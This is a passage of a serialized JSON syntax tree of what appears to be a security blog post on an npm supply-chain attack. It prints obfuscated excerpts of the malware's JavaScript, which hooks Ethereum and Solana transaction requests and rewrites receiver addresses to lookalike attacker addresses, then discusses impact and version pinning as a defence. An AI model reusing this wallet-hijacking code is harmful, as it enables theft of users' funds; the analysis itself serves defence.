6},{"type":23,"tag":139,"props":95807,"children":95808},{"style":259},[95809],{"type":28,"value":1656},{"type":23,"tag":139,"props":95811,"children":95812},{"class":141,"line":196},[95813,95817,95821],{"type":23,"tag":139,"props":95814,"children":95815},{"style":259},[95816],{"type":28,"value":29355},{"type":23,"tag":139,"props":95818,"children":95819},{"style":319},[95820],{"type":28,"value":1293},{"type":23,"tag":139,"props":95822,"children":95823},{"style":259},[95824],{"type":28,"value":1268},{"type":23,"tag":139,"props":95826,"children":95827},{"class":141,"line":205},[95828,95832,95836,95840,95844,95848,95852,95856,95860],{"type":23,"tag":139,"props":95829,"children":95830},{"style":294},[95831],{"type":28,"value":41124},{"type":23,"tag":139,"props":95833,"children":95834},{"style":982},[95835],{"type":28,"value":985},{"type":23,"tag":139,"props":95837,"children":95838},{"style":319},[95839],{"type":28,"value":34101},{"type":23,"tag":139,"props":95841,"children":95842},{"style":294},[95843],{"type":28,"value":95611},{"type":23,"tag":139,"props":95845,"children":95846},{"style":259},[95847],{"type":28,"value":73},{"type":23,"tag":139,"props":95849,"children":95850},{"style":245},[95851],{"type":28,"value":13432},{"type":23,"tag":139,"props":95853,"children":95854},{"style":259},[95855],{"type":28,"value":28188},{"type":23,"tag":139,"props":95857,"children":95858},{"style":245},[95859],{"type":28,"value":28},{"type":23,"tag":139,"props":95861,"children":95862},{"style":259},[95863],{"type":28,"value":1656},{"type":23,"tag":139,"props":95865,"children":95866},{"class":141,"line":214},[95867],{"type":23,"tag":139,"props":95868,"children":95869},{"style":259},[95870],{"type":28,"value":3874},{"type":23,"tag":139,"props":95872,"children":95873},{"class":141,"line":1320},[95874,95878,95883,95887,95892,95896,95900],{"type":23,"tag":139,"props":95875,"children":95876},{"style":279},[95877],{"type":28,"value":34078},{"type":23,"tag":139,"props":95879,"children":95880},{"style":294},[95881],{"type":28,"value":95882}," processedData",{"type":23,"tag":139,"props":95884,"children":95885},{"style":982},[95886],{"type":28,"value":985},{"type":23,"tag":139,"props":95888,"children":95889},{"style":245},[95890],{"type":28,"value":95891}," replaceAddresses",{"type":23,"tag":139,"props":95893,"children":95894},{"style":259},[95895],{"type":28,"value":262},{"type":23,"tag":139,"props":95897,"children":95898},{"style":294},[95899],{"type":28,"value":1691},{"type":23,"tag":139,"props":95901,"children":95902},{"style":259},[95903],{"type":28,"value":1820},{"type":23,"tag":139,"props":95905,"children":95906},{"class":141,"line":1329},[95907,95911,95916],{"type":23,"tag":139,"props":95908,"children":95909},{"style":279},[95910],{"type":28,"value":34078},{"type":23,"tag":139,"props":95912,"children":95913},{"style":294},[95914],{"type":28,"value":95915}," finalResponseText",{"type":23,"tag":139,"props":95917,"children":95918},{"style":982},[95919],{"type":28,"value":33745},{"type":23,"tag":139,"props":95921,"children":95922},{"class":141,"line":1580},[95923,95928,95932,95936,95941,95946,95950,95954,95958,95962,95966,95970,95975],{"type":23,"tag":139,"props":95924,"children":95925},{"style":279},[95926],{"type":28,"value":95927},"    typeof",{"type":23,"tag":139,"props":95929,"children":95930},{"style":294},[95931],{"type":28,"value":95882},{"type":23,"tag":139,"props":95933,"children":95934},{"style":982},[95935],{"type":28,"value":29309},{"type":23,"tag":139,"props":95937,"children":95938},{"style":265},[95939],{"type":28,"value":95940}," 'string'",{"type":23,"tag":139,"props":95942,"children":95943},{"style":982},[95944],{"type":28,"value":95945}," ?",{"type":23,"tag":139,"props":95947,"children":95948},{"style":294},[95949],{"type":28,"value":95882},{"type":23,"tag":139,"props":95951,"children":95952},{"style":982},[95953],{"type":28,"value":33005},{"type":23,"tag":139,"props":95955,"children":95956},{"style":294},[95957],{"type":28,"value":35418},{"type":23,"tag":139,"props":95959,"children":95960},{"style":259},[95961],{"type":28,"value":73},{"type":23,"tag":139,"props":95963,"children":95964},{"style":245},[95965],{"type":28,"value":37123},{"type":23,"tag":139,"props":95967,"children":95968},{"style":259},[95969],{"type":28,"value":262},{"type":23,"tag":139,"props":95971,"children":95972},{"style":294},[95973],{"type":28,"value":95974},"processedData",{"type":23,"tag":139,"props":95976,"children":95977},{"style":259},[95978],{"type":28,"value":1820},{"type":23,"tag":139,"props":95980,"children":95981},{"class":141,"line":1597},[95982,95986,95991,95995,95999,96004,96008,96013],{"type":23,"tag":139,"props":95983,"children":95984},{"style":279},[95985],{"type":28,"value":34078},{"type":23,"tag":139,"props":95987,"children":95988},{"style":294},[95989],{"type":28,"value":95990}," finalResponse",{"type":23,"tag":139,"props":95992,"children":95993},{"style":982},[95994],{"type":28,"value":985},{"type":23,"tag":139,"props":95996,"children":95997},{"style":279},[95998],{"type":28,"value":29820},{"type":23,"tag":139,"props":96000,"children":96001},{"style":245},[96002],{"type":28,"value":96003}," Response",{"type":23,"tag":139,"props":96005,"children":96006},{"style":259},[96007],{"type":28,"value":262},{"type":23,"tag":139,"props":96009,"children":96010},{"style":294},[96011],{"type":28,"value":96012},"finalResponseText",{"type":23,"tag":139,"props":96014,"children":96015},{"style":259},[96016],{"type":28,"value":46779},{"type":23,"tag":139,"props":96018,"children":96019},{"class":141,"line":1614},[96020,96025,96029,96033,96038],{"type":23,"tag":139,"props":96021,"children":96022},{"style":294},[96023],{"type":28,"value":96024},"    status:",{"type":23,"tag":139,"props":96026,"children":96027},{"style":294},[96028],{"type":28,"value":95611},{"type":23,"tag":139,"props":96030,"children":96031},{"style":259},[96032],{"type":28,"value":73},{"type":23,"tag":139,"props":96034,"children":96035},{"style":294},[96036],{"type":28,"value":96037},"status",{"type":23,"tag":139,"props":96039,"children":96040},{"style":259},[96041],{"type":28,"value":1488},{"type":23,"tag":139,"props":96043,"children":96044},{"class":141,"line":1627},[96045,96050,96054,96058,96063],{"type":23,"tag":139,"props":96046,"children":96047},{"style":294},[96048],{"type":28,"value":96049},"    statusText:",{"type":23,"tag":139,"props":96051,"children":96052},{"style":294},[96053],{"type":28,"value":95611},{"type":23,"tag":139,"props":96055,"children":96056},{"style":259},[96057],{"type":28,"value":73},{"type":23,"tag":139,"props":96059,"children":96060},{"style":294},[96061],{"type":28,"value":96062},"statusText",{"type":23,"tag":139,"props":96064,"children":96065},{"style":259},[96066],{"type":28,"value":1488},{"type":23,"tag":139,"props":96068,"children":96069},{"class":141,"line":1636},[96070,96075,96079,96083,96087],{"type":23,"tag":139,"props":96071,"children":96072},{"style":294},[96073],{"type":28,"value":96074},"    headers:",{"type":23,"tag":139,"props":96076,"children":96077},{"style":294},[96078],{"type":28,"value":95611},{"type":23,"tag":139,"props":96080,"children":96081},{"style":259},[96082],{"type":28,"value":73},{"type":23,"tag":139,"props":96084,"children":96085},{"style":294},[96086],{"type":28,"value":95685},{"type":23,"tag":139,"props":96088,"children":96089},{"style":259},[96090],{"type":28,"value":1488},{"type":23,"tag":139,"props":96092,"children":96093},{"class":141,"line":1659},[96094],{"type":23,"tag":139,"props":96095,"children":96096},{"style":259},[96097],{"type":28,"value":96098},"  });\n",{"type":23,"tag":139,"props":96100,"children":96101},{"class":141,"line":1667},[96102,96106,96110],{"type":23,"tag":139,"props":96103,"children":96104},{"style":319},[96105],{"type":28,"value":37089},{"type":23,"tag":139,"props":96107,"children":96108},{"style":294},[96109],{"type":28,"value":95990},{"type":23,"tag":139,"props":96111,"children":96112},{"style":259},[96113],{"type":28,"value":995},{"type":23,"tag":139,"props":96115,"children":96116},{"class":141,"line":1676},[96117],{"type":23,"tag":139,"props":96118,"children":96119},{"style":259},[96120],{"type":28,"value":14589},{"type":23,"tag":797,"props":96122,"children":96123},{"start":160},[96124],{"type":23,"tag":801,"props":96125,"children":96126},{},[96127],{"type":28,"value":96128},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":23,"tag":128,"props":96130,"children":96132},{"code":96131,"language":29252,"meta":7,"className":29250,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[96133],{"type":23,"tag":135,"props":96134,"children":96135},{"__ignoreMap":7},[96136,96215,96226,96283,96323,96348,96363,96374,96408,96441,96460,96487,96495,96506,96546,96575,96603,96610,96650,96693,96737,96752,96791,96798,96822,96829],{"type":23,"tag":139,"props":96137,"children":96138},{"class":141,"line":142},[96139,96143,96147,96152,96156,96160,96164,96169,96173,96178,96182,96187,96191,96195,96199,96203,96207,96211],{"type":23,"tag":139,"props":96140,"children":96141},{"style":319},[96142],{"type":28,"value":13590},{"type":23,"tag":139,"props":96144,"children":96145},{"style":259},[96146],{"type":28,"value":1042},{"type":23,"tag":139,"props":96148,"children":96149},{"style":294},[96150],{"type":28,"value":96151},"_0x2c3d7e",{"type":23,"tag":139,"props":96153,"children":96154},{"style":259},[96155],{"type":28,"value":73},{"type":23,"tag":139,"props":96157,"children":96158},{"style":294},[96159],{"type":28,"value":36203},{"type":23,"tag":139,"props":96161,"children":96162},{"style":982},[96163],{"type":28,"value":29309},{"type":23,"tag":139,"props":96165,"children":96166},{"style":265},[96167],{"type":28,"value":96168}," 'eth_sendTransaction'",{"type":23,"tag":139,"props":96170,"children":96171},{"style":982},[96172],{"type":28,"value":12196},{"type":23,"tag":139,"props":96174,"children":96175},{"style":294},[96176],{"type":28,"value":96177}," _0x2c3d7e",{"type":23,"tag":139,"props":96179,"children":96180},{"style":259},[96181],{"type":28,"value":73},{"type":23,"tag":139,"props":96183,"children":96184},{"style":294},[96185],{"type":28,"value":96186},"params",{"type":23,"tag":139,"props":96188,"children":96189},{"style":982},[96190],{"type":28,"value":12196},{"type":23,"tag":139,"props":96192,"children":96193},{"style":294},[96194],{"type":28,"value":96177},{"type":23,"tag":139,"props":96196,"children":96197},{"style":259},[96198],{"type":28,"value":73},{"type":23,"tag":139,"props":96200,"children":96201},{"style":294},[96202],{"type":28,"value":96186},{"type":23,"tag":139,"props":96204,"children":96205},{"style":259},[96206],{"type":28,"value":1723},{"type":23,"tag":139,"props":96208,"children":96209},{"style":1016},[96210],{"type":28,"value":2021},{"type":23,"tag":139,"props":96212,"children":96213},{"style":259},[96214],{"type":28,"value":38515},{"type":23,"tag":139,"props":96216,"children":96217},{"class":141,"line":151},[96218,96222],{"type":23,"tag":139,"props":96219,"children":96220},{"style":319},[96221],{"type":28,"value":95254},{"type":23,"tag":139,"props":96223,"children":96224},{"style":259},[96225],{"type":28,"value":1268},{"type":23,"tag":139,"props":96227,"children":96228},{"class":141,"line":160},[96229,96233,96238,96242,96247,96251,96255,96259,96263,96267,96271,96275,96279],{"type":23,"tag":139,"props":96230,"children":96231},{"style":279},[96232],{"type":28,"value":49566},{"type":23,"tag":139,"props":96234,"children":96235},{"style":294},[96236],{"type":28,"value":96237}," _0x39ad21",{"type":23,"tag":139,"props":96239,"children":96240},{"style":982},[96241],{"type":28,"value":985},{"type":23,"tag":139,"props":96243,"children":96244},{"style":245},[96245],{"type":28,"value":96246}," _0x1089ae",{"type":23,"tag":139,"props":96248,"children":96249},{"style":259},[96250],{"type":28,"value":262},{"type":23,"tag":139,"props":96252,"children":96253},{"style":294},[96254],{"type":28,"value":96151},{"type":23,"tag":139,"props":96256,"children":96257},{"style":259},[96258],{"type":28,"value":73},{"type":23,"tag":139,"props":96260,"children":96261},{"style":294},[96262],{"type":28,"value":96186},{"type":23,"tag":139,"props":96264,"children":96265},{"style":259},[96266],{"type":28,"value":1723},{"type":23,"tag":139,"props":96268,"children":96269},{"style":1016},[96270],{"type":28,"value":2021},{"type":23,"tag":139,"props":96272,"children":96273},{"style":259},[96274],{"type":28,"value":21069},{"type":23,"tag":139,"props":96276,"children":96277},{"style":279},[96278],{"type":28,"value":1993},{"type":23,"tag":139,"props":96280,"children":96281},{"style":259},[96282],{"type":28,"value":1820},{"type":23,"tag":139,"props":96284,"children":96285},{"class":141,"line":169},[96286,96291,96295,96299,96303,96307,96311,96315,96319],{"type":23,"tag":139,"props":96287,"children":96288},{"style":294},[96289],{"type":28,"value":96290},"    _0x2c3d7e",{"type":23,"tag":139,"props":96292,"children":96293},{"style":259},[96294],{"type":28,"value":73},{"type":23,"tag":139,"props":96296,"children":96297},{"style":294},[96298],{"type":28,"value":96186},{"type":23,"tag":139,"props":96300,"children":96301},{"style":259},[96302],{"type":28,"value":1723},{"type":23,"tag":139,"props":96304,"children":96305},{"style":1016},[96306],{"type":28,"value":2021},{"type":23,"tag":139,"props":96308,"children":96309},{"style":259},[96310],{"type":28,"value":6666},{"type":23,"tag":139,"props":96312,"children":96313},{"style":982},[96314],{"type":28,"value":1067},{"type":23,"tag":139,"props":96316,"children":96317},{"style":294},[96318],{"type":28,"value":96237},{"type":23,"tag":139,"props":96320,"children":96321},{"style":259},[96322],{"type":28,"value":995},{"type":23,"tag":139,"props":96324,"children":96325},{"class":141,"line":178},[96326,96330,96334,96338,96343],{"type":23,"tag":139,"props":96327,"children":96328},{"style":259},[96329],{"type":28,"value":29355},{"type":23,"tag":139,"props":96331,"children":96332},{"style":319},[96333],{"type":28,"value":46308},{"type":23,"tag":139,"props":96335,"children":96336},{"style":259},[96337],{"type":28,"value":1042},{"type":23,"tag":139,"props":96339,"children":96340},{"style":294},[96341],{"type":28,"value":96342},"_0x226343",{"type":23,"tag":139,"props":96344,"children":96345},{"style":259},[96346],{"type":28,"value":96347},") {}\n",{"type":23,"tag":139,"props":96349,"children":96350},{"class":141,"line":187},[96351,96355,96359],{"type":23,"tag":139,"props":96352,"children":96353},{"style":259},[96354],{"type":28,"value":44770},{"type":23,"tag":139,"props":96356,"children":96357},{"style":319},[96358],{"type":28,"value":1293},{"type":23,"tag":139,"props":96360,"children":96361},{"style":259},[96362],{"type":28,"value":1268},{"type":23,"tag":139,"props":96364,"children":96365},{"class":141,"line":196},[96366,96370],{"type":23,"tag":139,"props":96367,"children":96368},{"style":319},[96369],{"type":28,"value":29281},{"type":23,"tag":139,"props":96371,"children":96372},{"style":259},[96373],{"type":28,"value":76470},{"type":23,"tag":139,"props":96375,"children":96376},{"class":141,"line":205},[96377,96382,96386,96390,96394,96398,96403],{"type":23,"tag":139,"props":96378,"children":96379},{"style":259},[96380],{"type":28,"value":96381},"    (",{"type":23,"tag":139,"props":96383,"children":96384},{"style":294},[96385],{"type":28,"value":96151},{"type":23,"tag":139,"props":96387,"children":96388},{"style":259},[96389],{"type":28,"value":73},{"type":23,"tag":139,"props":96391,"children":96392},{"style":294},[96393],{"type":28,"value":36203},{"type":23,"tag":139,"props":96395,"children":96396},{"style":982},[96397],{"type":28,"value":29309},{"type":23,"tag":139,"props":96399,"children":96400},{"style":265},[96401],{"type":28,"value":96402}," 'solana_signTransaction'",{"type":23,"tag":139,"props":96404,"children":96405},{"style":982},[96406],{"type":28,"value":96407}," ||\n",{"type":23,"tag":139,"props":96409,"children":96410},{"class":141,"line":214},[96411,96416,96420,96424,96428,96433,96437],{"type":23,"tag":139,"props":96412,"children":96413},{"style":294},[96414],{"type":28,"value":96415},"      _0x2c3d7e",{"type":23,"tag":139,"props":96417,"children":96418},{"style":259},[96419],{"type":28,"value":73},{"type":23,"tag":139,"props":96421,"children":96422},{"style":294},[96423],{"type":28,"value":36203},{"type":23,"tag":139,"props":96425,"children":96426},{"style":982},[96427],{"type":28,"value":29309},{"type":23,"tag":139,"props":96429,"children":96430},{"style":265},[96431],{"type":28,"value":96432}," 'solana_signAndSendTransaction'",{"type":23,"tag":139,"props":96434,"children":96435},{"style":259},[96436],{"type":28,"value":1062},{"type":23,"tag":139,"props":96438,"children":96439},{"style":982},[96440],{"type":28,"value":81719},{"type":23,"tag":139,"props":96442,"children":96443},{"class":141,"line":1320},[96444,96448,96452,96456],{"type":23,"tag":139,"props":96445,"children":96446},{"style":294},[96447],{"type":28,"value":96290},{"type":23,"tag":139,"props":96449,"children":96450},{"style":259},[96451],{"type":28,"value":73},{"type":23,"tag":139,"props":96453,"children":96454},{"style":294},[96455],{"type":28,"value":96186},{"type":23,"tag":139,"props":96457,"children":96458},{"style":982},[96459],{"type":28,"value":50582},{"type":23,"tag":139,"props":96461,"children":96462},{"class":141,"line":1329},[96463,96467,96471,96475,96479,96483],{"type":23,"tag":139,"props":96464,"children":96465},{"style":294},[96466],{"type":28,"value":96290},{"type":23,"tag":139,"props":96468,"children":96469},{"style":259},[96470],{"type":28,"value":73},{"type":23,"tag":139,"props":96472,"children":96473},{"style":294},[96474],{"type":28,"value":96186},{"type":23,"tag":139,"props":96476,"children":96477},{"style":259},[96478],{"type":28,"value":1723},{"type":23,"tag":139,"props":96480,"children":96481},{"style":1016},[96482],{"type":28,"value":2021},{"type":23,"tag":139,"props":96484,"children":96485},{"style":259},[96486],{"type":28,"value":9783},{"type":23,"tag":139,"props":96488,"children":96489},{"class":141,"line":1580},[96490],{"type":23,"tag":139,"props":96491,"children":96492},{"style":259},[96493],{"type":28,"value":96494},"  ) {\n",{"type":23,"tag":139,"props":96496,"children":96497},{"class":141,"line":1597},[96498,96502],{"type":23,"tag":139,"props":96499,"children":96500},{"style":319},[96501],{"type":28,"value":67884},{"type":23,"tag":139,"props":96503,"children":96504},{"style":259},[96505],{"type":28,"value":1268},{"type":23,"tag":139,"props":96507,"children":96508},{"class":141,"line":1614},[96509,96513,96518,96522,96526,96530,96534,96538,96542],{"type":23,"tag":139,"props":96510,"children":96511},{"style":279},[96512],{"type":28,"value":6079},{"type":23,"tag":139,"props":96514,"children":96515},{"style":294},[96516],{"type":28,"value":96517}," _0x5ad975",{"type":23,"tag":139,"props":96519,"children":96520},{"style":982},[96521],{"type":28,"value":985},{"type":23,"tag":139,"props":96523,"children":96524},{"style":294},[96525],{"type":28,"value":96177},{"type":23,"tag":139,"props":96527,"children":96528},{"style":259},[96529],{"type":28,"value":73},{"type":23,"tag":139,"props":96531,"children":96532},{"style":294},[96533],{"type":28,"value":96186},{"type":23,"tag":139,"props":96535,"children":96536},{"style":259},[96537],{"type":28,"value":1723},{"type":23,"tag":139,"props":96539,"children":96540},{"style":1016},[96541],{"type":28,"value":2021},{"type":23,"tag":139,"props":96543,"children":96544},{"style":259},[96545],{"type":28,"value":29461},{"type":23,"tag":139,"props":96547,"children":96548},{"class":141,"line":1627},[96549,96553,96557,96562,96566,96571],{"type":23,"tag":139,"props":96550,"children":96551},{"style":319},[96552],{"type":28,"value":37177},{"type":23,"tag":139,"props":96554,"children":96555},{"style":259},[96556],{"type":28,"value":1042},{"type":23,"tag":139,"props":96558,"children":96559},{"style":294},[96560],{"type":28,"value":96561},"_0x5ad975",{"type":23,"tag":139,"props":96563,"children":96564},{"style":259},[96565],{"type":28,"value":73},{"type":23,"tag":139,"props":96567,"children":96568},{"style":294},[96569],{"type":28,"value":96570},"transaction",{"type":23,"tag":139,"props":96572,"children":96573},{"style":259},[96574],{"type":28,"value":12815},{"type":23,"tag":139,"props":96576,"children":96577},{"class":141,"line":1636},[96578,96583,96587,96591,96595,96599],{"type":23,"tag":139,"props":96579,"children":96580},{"style":294},[96581],{"type":28,"value":96582},"        _0x5ad975",{"type":23,"tag":139,"props":96584,"children":96585},{"style":982},[96586],{"type":28,"value":985},{"type":23,"tag":139,"props":96588,"children":96589},{"style":294},[96590],{"type":28,"value":96517},{"type":23,"tag":139,"props":96592,"children":96593},{"style":259},[96594],{"type":28,"value":73},{"type":23,"tag":139,"props":96596,"children":96597},{"style":294},[96598],{"type":28,"value":96570},{"type":23,"tag":139,"props":96600,"children":96601},{"style":259},[96602],{"type":28,"value":995},{"type":23,"tag":139,"props":96604,"children":96605},{"class":141,"line":1659},[96606],{"type":23,"tag":139,"props":96607,"children":96608},{"style":259},[96609],{"type":28,"value":10675},{"type":23,"tag":139,"props":96611,"children":96612},{"class":141,"line":1667},[96613,96617,96622,96626,96630,96634,96638,96642,96646],{"type":23,"tag":139,"props":96614,"children":96615},{"style":279},[96616],{"type":28,"value":29434},{"type":23,"tag":139,"props":96618,"children":96619},{"style":294},[96620],{"type":28,"value":96621}," _0x5dbe63",{"type":23,"tag":139,"props":96623,"children":96624},{"style":982},[96625],{"type":28,"value":985},{"type":23,"tag":139,"props":96627,"children":96628},{"style":245},[96629],{"type":28,"value":96246},{"type":23,"tag":139,"props":96631,"children":96632},{"style":259},[96633],{"type":28,"value":262},{"type":23,"tag":139,"props":96635,"children":96636},{"style":294},[96637],{"type":28,"value":96561},{"type":23,"tag":139,"props":96639,"children":96640},{"style":259},[96641],{"type":28,"value":1052},{"type":23,"tag":139,"props":96643,"children":96644},{"style":279},[96645],{"type":28,"value":6179},{"type":23,"tag":139,"props":96647,"children":96648},{"style":259},[96649],{"type":28,"value":1820},{"type":23,"tag":139,"props":96651,"children":96652},{"class":141,"line":1676},[96653,96657,96661,96665,96669,96673,96677,96681,96685,96689],{"type":23,"tag":139,"props":96654,"children":96655},{"style":319},[96656],{"type":28,"value":37177},{"type":23,"tag":139,"props":96658,"children":96659},{"style":259},[96660],{"type":28,"value":1042},{"type":23,"tag":139,"props":96662,"children":96663},{"style":294},[96664],{"type":28,"value":96151},{"type":23,"tag":139,"props":96666,"children":96667},{"style":259},[96668],{"type":28,"value":73},{"type":23,"tag":139,"props":96670,"children":96671},{"style":294},[96672],{"type":28,"value":96186},{"type":23,"tag":139,"props":96674,"children":96675},{"style":259},[96676],{"type":28,"value":1723},{"type":23,"tag":139,"props":96678,"children":96679},{"style":1016},[96680],{"type":28,"value":2021},{"type":23,"tag":139,"props":96682,"children":96683},{"style":259},[96684],{"type":28,"value":48246},{"type":23,"tag":139,"props":96686,"children":96687},{"style":294},[96688],{"type":28,"value":96570},{"type":23,"tag":139,"props":96690,"children":96691},{"style":259},[96692],{"type":28,"value":12815},{"type":23,"tag":139,"props":96694,"children":96695},{"class":141,"line":1745},[96696,96701,96705,96709,96713,96717,96721,96725,96729,96733],{"type":23,"tag":139,"props":96697,"children":96698},{"style":294},[96699],{"type":28,"value":96700},"        _0x2c3d7e",{"type":23,"tag":139,"props":96702,"children":96703},{"style":259},[96704],{"type":28,"value":73},{"type":23,"tag":139,"props":96706,"children":96707},{"style":294},[96708],{"type":28,"value":96186},{"type":23,"tag":139,"props":96710,"children":96711},{"style":259},[96712],{"type":28,"value":1723},{"type":23,"tag":139,"props":96714,"children":96715},{"style":1016},[96716],{"type":28,"value":2021},{"type":23,"tag":139,"props":96718,"children":96719},{"style":259},[96720],{"type":28,"value":48246},{"type":23,"tag":139,"props":96722,"children":96723},{"style":294},[96724],{"type":28,"value":96570},{"type":23,"tag":139,"props":96726,"children":96727},{"style":982},[96728],{"type":28,"value":985},{"type":23,"tag":139,"props":96730,"children":96731},{"style":294},[96732],{"type":28,"value":96621},{"type":23,"tag":139,"props":96734,"children":96735},{"style":259},[96736],{"type":28,"value":995},{"type":23,"tag":139,"props":96738,"children":96739},{"class":141,"line":1753},[96740,96744,96748],{"type":23,"tag":139,"props":96741,"children":96742},{"style":259},[96743],{"type":28,"value":36830},{"type":23,"tag":139,"props":96745,"children":96746},{"style":319},[96747],{"type":28,"value":1293},{"type":23,"tag":139,"props":96749,"children":96750},{"style":259},[96751],{"type":28,"value":1268},{"type":23,"tag":139,"props":96753,"children":96754},{"class":141,"line":1783},[96755,96759,96763,96767,96771,96775,96779,96783,96787],{"type":23,"tag":139,"props":96756,"children":96757},{"style":294},[96758],{"type":28,"value":96700},{"type":23,"tag":139,"props":96760,"children":96761},{"style":259},[96762],{"type":28,"value":73},{"type":23,"tag":139,"props":96764,"children":96765},{"style":294},[96766],{"type":28,"value":96186},{"type":23,"tag":139,"props":96768,"children":96769},{"style":259},[96770],{"type":28,"value":1723},{"type":23,"tag":139,"props":96772,"children":96773},{"style":1016},[96774],{"type":28,"value":2021},{"type":23,"tag":139,"props":96776,"children":96777},{"style":259},[96778],{"type":28,"value":6666},{"type":23,"tag":139,"props":96780,"children":96781},{"style":982},[96782],{"type":28,"value":1067},{"type":23,"tag":139,"props":96784,"children":96785},{"style":294},[96786],{"type":28,"value":96621},{"type":23,"tag":139,"props":96788,"children":96789},{"style":259},[96790],{"type":28,"value":995},{"type":23,"tag":139,"props":96792,"children":96793},{"class":141,"line":1791},[96794],{"type":23,"tag":139,"props":96795,"children":96796},{"style":259},[96797],{"type":28,"value":10675},{"type":23,"tag":139,"props":96799,"children":96800},{"class":141,"line":1823},[96801,96805,96809,96813,96818],{"type":23,"tag":139,"props":96802,"children":96803},{"style":259},[96804],{"type":28,"value":13790},{"type":23,"tag":139,"props":96806,"children":96807},{"style":319},[96808],{"type":28,"value":46308},{"type":23,"tag":139,"props":96810,"children":96811},{"style":259},[96812],{"type":28,"value":1042},{"type":23,"tag":139,"props":96814,"children":96815},{"style":294},[96816],{"type":28,"value":96817},"_0x4b99fd",{"type":23,"tag":139,"props":96819,"children":96820},{"style":259},[96821],{"type":28,"value":96347},{"type":23,"tag":139,"props":96823,"children":96824},{"class":141,"line":1831},[96825],{"type":23,"tag":139,"props":96826,"children":96827},{"style":259},[96828],{"type":28,"value":3874},{"type":23,"tag":139,"props":96830,"children":96831},{"class":141,"line":1891},[96832],{"type":23,"tag":139,"props":96833,"children":96834},{"style":259},[96835],{"type":28,"value":1897},{"type":23,"tag":666,"props":96837,"children":96839},{"id":96838},"impact-of-the-attack",[96840],{"type":28,"value":96841},"Impact of the Attack",{"type":23,"tag":24,"props":96843,"children":96844},{},[96845],{"type":28,"value":96846},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":23,"tag":41,"props":96848,"children":96850},{"id":96849},"why-it-will-happen-again",[96851],{"type":28,"value":96852},"Why It Will Happen Again",{"type":23,"tag":24,"props":96854,"children":96855},{},[96856],{"type":28,"value":96857},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":23,"tag":24,"props":96859,"children":96860},{},[96861],{"type":28,"value":96862},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":23,"tag":41,"props":96864,"children":96866},{"id":96865},"what-developers-can-do",[96867],{"type":28,"value":96868},"What Developers Can Do",{"type":23,"tag":24,"props":96870,"children":96871},{},[96872],{"type":28,"value":96873},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":23,"tag":666,"props":96875,"children":96877},{"id":96876},"_1-version-pinning-in-packagejson",[96878,96880],{"type":28,"value":96879},"1. Version pinning in ",{"type":23,"tag":135,"props":96881,"children":96883},{"className":96882},[],[96884],{"type":28,"value":96885},"package.json",{"type":23,"tag":24,"props":96887,"children":96888},{},[96889],{"type":28,"value":96890},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":23,"tag":24,"props":96892,"children":96893},{},[96894,96896,96902,96904,96909,96911,96916],{"type":28,"value":96895},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":23,"tag":135,"props":96897,"children":96899},{"className":96898},[],[96900],{"type":28,"value":96901},"npm install",{"type":28,"value":96903},". To pin it, just make sure to remove the caret ",{"type":23,"tag":135,"props":96905,"children":96907},{"className":96906},[],[96908],{"type":28,"value":46831},{"type":28,"value":96910}," symbol before the version in ",{"type":23,"tag":135,"props":96912,"children":96914},{"className":96913},[],[96915],{"type":28,"value":96885},{"type":28,"value":2493},{"type":23,"tag":128,"props":96918,"children":96920},{"code":96919,"language":31886,"meta":7,"className":31884,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[96921],{"type":23,"tag":135,"props":96922,"children":96923},{"__ignoreMap":7},[96924,96945,96966,96987],{"type":23,"tag":139,"props":96925,"children":96926},{"class":141,"line":142},[96927,96932,96936,96941],{"type":23,"tag":139,"props":96928,"children":96929},{"style":265},[96930],{"type":28,"value":96931},"\"@react-native-async-storage/async-storage\"",{"type":23,"tag":139,"props":96933,"children":96934},{"style":259},[96935],{"type":28,"value":13343},{"type":23,"tag":139,"props":96937,"children":96938},{"style":265},[96939],{"type":28,"value":96940},"\"1.23.1\"",{"type":23,"tag":139,"props":96942,"children":96943},{"style":259},[96944],{"type":28,"value":1488},{"type":23,"tag":139,"props":96946,"children":96947},{"class":141,"line":151},[96948,96953,96957,96962],{"type":23,"tag":139,"props":96949,"children":96950},{"style":265},[96951],{"type":28,"value":96952},"\"@react-native-community/datetimepicker\"",{"type":23,"tag":139,"props":96954,"children":96955},{"style":259},[96956],{"type":28,"value":13343},{"type":23,"tag":139,"props":96958,"children":96959},{"style":265},[96960],{"type":28,"value":96961},"\"8.3.0\"",{"type":23,"tag":139,"props":96963,"children":96964},{"style":259},[96965],{"ty